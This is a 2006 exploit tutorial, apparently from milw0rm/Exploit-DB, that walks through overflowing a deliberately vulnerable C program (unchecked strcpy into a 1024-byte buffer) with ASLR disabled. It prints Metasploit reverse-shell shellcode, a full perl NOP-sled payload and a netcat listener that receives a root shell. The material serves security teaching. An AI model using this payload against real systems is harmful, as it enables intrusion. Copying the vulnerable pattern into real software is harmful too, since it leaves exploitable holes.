Simple Buffer Overflow Tutorial

EDB-ID:

13171

CVE:

N/A

Author:

Preddy

Type:

papers

Platform:

Multiple

Published:

2006-07-21

-- Buffer Overflow Tutorial by Preddy - RootShell Security Group

Hi we are going to do a basic stack overflow on a vulnerable program
to get a reverse shell

I apoligise for my english..it's not my native language

Our vulnerable program:

-- vuln-prog.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
int bof(char *string) {
 
  char buffer[1024];
 
  strcpy(buffer, string);
 
  return 1;
}
 
int main(int argc, char *argv[]) {
 
  bof(argv[1]);
  printf("Done..\n");
 
  return 1;
}

-- vuln-prog.c

this program takes a user supplied string and copies it into 'buffer' which can hold 1024
bytes of data. if a user sends 1040 bytes which is more then 1024 bytes.. it would
cause the buffer to be overflowwed and it would overwrite parts of memory..

lets compile our vulnerable program:

gcc vuln-prog.c -o vuln-prog

We need to disable the linux VA patch to successfully exploit
this basic overflow..

bash-3.00# cat /proc/sys/kernel/randomize_va_space 
1
bash-3.00# echo 0 > /proc/sys/kernel/randomize_va_space 
bash-3.00# 
bash-3.00# cat /proc/sys/kernel/randomize_va_space     
0
bash-3.00# 


We use a debugger called GDB to debug the program to see what happens if we
send more then 1024 bytes..

bash-3.00# gdb ./vuln-prog
GNU gdb 6.5
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) 

we will use perl to supply a buffer which is larger then 1024 bytes and
enough to overwrite parts of memory.

(gdb) run `perl -e 'print "A"x1040'`
Starting program: /root/Security/Vulntest/vuln-prog `perl -e 'print "A"x1040'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) 

as you can see we supplied a string which holds 1040 x A

A is 0x41 in it's hexadecimal format..

now lets see what parts of our memory are overwritten..

(gdb) i r
eax            0x1      1
ecx            0xfffff9e6       -1562
edx            0xbffff8aa       -1073743702
ebx            0xb7fcc000       -1208172544
esp            0xbffff290       0xbffff290
ebp            0x41414141       0x41414141
esi            0xb7fce17c       -1208163972
edi            0x2      2
eip            0x41414141       0x41414141
eflags         0x10282  [ SF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb) 

this is a important part to look at:

eip            0x41414141       0x41414141

eip is the Extended Instruction Pointer, eip contains the address
to the next instruction.. so basicly it points to the address where
the next piece of code will get executed..

so overwriting eip with an address which contains our own code
would allow us to control the flow of the program..

we have overwritten eip with 41414141 which is AAAA 
but 41414141 does not contain any code and is a invalid
part of memory to point to..

so we have to point it to our piece of code..
 
to execute our own piece of code we will use something called: SHELLCODE

Shellcode also knows as Bytecode which contains a set of cpu instructons

We will not discuss the process of making your own shellcode
so we will use metasploit to generate our shellcode..

first of all we want to listen with netcat and wait for a shell to arrive

so lets listen with netcat:

bash-3.00# nc -l -p 9999 -vv
listening on [any] 9999 ...

netcat is listening on port 9999

now lets get our ip address..

bash-3.00# ifconfig |grep inet
          inet addr:10.0.0.153  Bcast:10.0.0.255  Mask:255.255.255.0
          inet addr:127.0.0.1  Mask:255.0.0.0


our ip address is 10.0.0.153

now lets check if netcat is indeed listening..

bash-3.00# netstat -an |grep 9999
tcp        0      0 0.0.0.0:9999            0.0.0.0:*               LISTEN    

as you can see netcat is listening on port 9999

Lets browse to:

http://metasploit.com:55555/PAYLOADS?MODE=SELECT&MODULE=linux_ia32_reverse

to generate our shellcode..

Fill in the form:

LHOST	Required	ADDR = 10.0.0.153
LPORT	Required	PORT = 9999

and click Generate Payload..

which generates us the following:

/* linux_ia32_reverse -  LHOST=10.0.0.153 LPORT=9999 Size=96 Encoder=PexFnstenvSub http://metasploit.com */

"\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e"
"\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c"
"\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d"
"\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6"
"\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e"
"\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16";

as you can see our shellcode is 96 bytes large.

lets strip it off

\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16

this piece of shellcode will connect back to 10.0.0.153 on port 9999 where netcat is listening... and provide a shell

now to find our shellcode in memory would be a pain in the ass and it wouln't we flexible
so we need to use the NOP method.

a NOP is a instruction which does nothing (No Operation - 0x90)

so we place a set of NOP instructions (nopsled) before our shellcode
and point eip to somewhere in our NOPSLED , our payload should look
something like this

[garbage data - A's (0x41)] - [nopsled] - [shellcode] - [eip]

Now we need to calculate howmuch we exactly need to send:

we used 1040 bytes to overflow eip with 0x41414141

eip is 4 bytes so:

1040 - 4 = 1036

then we need 96 bytes for our shellcode

1036 - 96 = 940

and we can use 940 bytes for our garbage data and our nopsled.

ill use 340 bytes for our nopsled..

so thats 340 x 0x90

940 - 340 = 600

and there are 600 bytes left to use for garbage data

thats 600 x A (0x41)

our payload should look like this:

600 x A(0x41) + 340 x NOP(0x90) + 96 bytes of shellcode + 4 bytes of EIP = 1040 bytes

PAYLOAD:

`perl -e 'print "A"x600,"\x90"x340,"\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16","BBBB"'`

we will overwrite eip with BBBB (0x42424242) for debugging purposes..

(gdb) run `perl -e 'print "A"x600,"\x90"x340,"\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16","\x40\xf7\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/Security/Vulntest/vuln-prog `perl -e 'print "A"x600,"\x90"x340,"\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16","BBBB"'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) 

as you can see eip got overwritten with 0x42424242 which is BBBB and BBBB is the last
part of our payload which we used to overwrite eip..

now we need to point eip to our nopsled instead of 0x42424242

lets analyze our memory and see where our nopsled is:

(gdb) x/2000xb $esp

now lets hit enter untill we see a huge set of NOP instructions (0x90)

0xbffff6e0:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbffff6e8:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbffff6f0:     0x41    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff6f8:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff700:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff708:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff710:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff718:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff720:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff728:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff730:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff738:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff740:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff748:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff750:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff758:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff760:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff768:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff770:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff778:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff780:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff788:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff790:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90

just before our NOPSLED we see our garbage data full of A's (0x41)
thats how we constructed our payload before :)

after our NOPSLED we have our shellcode:

0xbffff820:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff828:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff830:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff838:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff840:     0x90    0x90    0x90    0x90    0x90    0x31    0xc9    0x83
0xbffff848:     0xe9    0xee    0xd9    0xee    0xd9    0x74    0x24    0xf4
---Type <return> to continue, or q <return> to quit---
0xbffff850:     0x5b    0x81    0x73    0x13    0x5e    0x10    0xdb    0x16
0xbffff858:     0x83    0xeb    0xfc    0xe2    0xf4    0x6f    0xcb    0x88
0xbffff860:     0x55    0x0d    0x7a    0xd9    0x7c    0x38    0x48    0x52
0xbffff868:     0xf7    0x93    0x90    0x48    0x4f    0xee    0x2f    0x16
0xbffff870:     0x96    0x17    0x69    0x22    0x4d    0x04    0x78    0xd1
0xbffff878:     0x16    0x5e    0x89    0xbd    0x7e    0x79    0x1f    0x98
0xbffff880:     0x70    0x0d    0x99    0x3a    0xa6    0x38    0x40    0x8a
0xbffff888:     0x45    0xd7    0xf1    0x98    0xdb    0xde    0x42    0xb3

our shellcode starts with \x31 as you can see..

now we need to overwrite eip so it points to somewhere in our set of NOP instructions

it will execute the NOP instructions till it reaches our shellcode
and when it executes our shellcode it will bring us a reverse shell on
port 9999..

so lets choose an address which is in our nopsled..

0xbffff740

lets write it in little-endian format (reversely)

\x40\xf7\xff\xbf

and lets place that in our payload.. so it will look like this:

`perl -e 'print "A"x600,"\x90"x340,"\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16","\x40\xf7\xff\xbf"'`

lets run the program with gdb and our payload as an argument..

(gdb) run `perl -e 'print "A"x600,"\x90"x340,"\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16","\x40\xf7\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/Security/Vulntest/vuln-prog `perl -e 'print "A"x600,"\x90"x340,"\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16","\x40\xf7\xff\xbf"'`


now let's turn back netcat which we left listening on port 9999

bash-3.00# nc -l -p 9999 -vv
listening on [any] 9999 ...
10.0.0.153: inverse host lookup failed: No address associated with name
connect to [10.0.0.153] from (UNKNOWN) [10.0.0.153] 59126

as you can see we overflowwed the buffer and got ourselves a reverse shell :D

bash-3.00# nc -l -p 9999 -vv
listening on [any] 9999 ...
10.0.0.153: inverse host lookup failed: No address associated with name
connect to [10.0.0.153] from (UNKNOWN) [10.0.0.153] 59126
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),17(audio),18(video),19(cdrom)
uname -a
Linux hp 2.6.17.6 #1 SMP PREEMPT Sun Jul 16 14:49:45 CEST 2006 i686 unknown unknown GNU/Linux


Cya around guys..

Preddy..

# milw0rm.com [2006-07-21]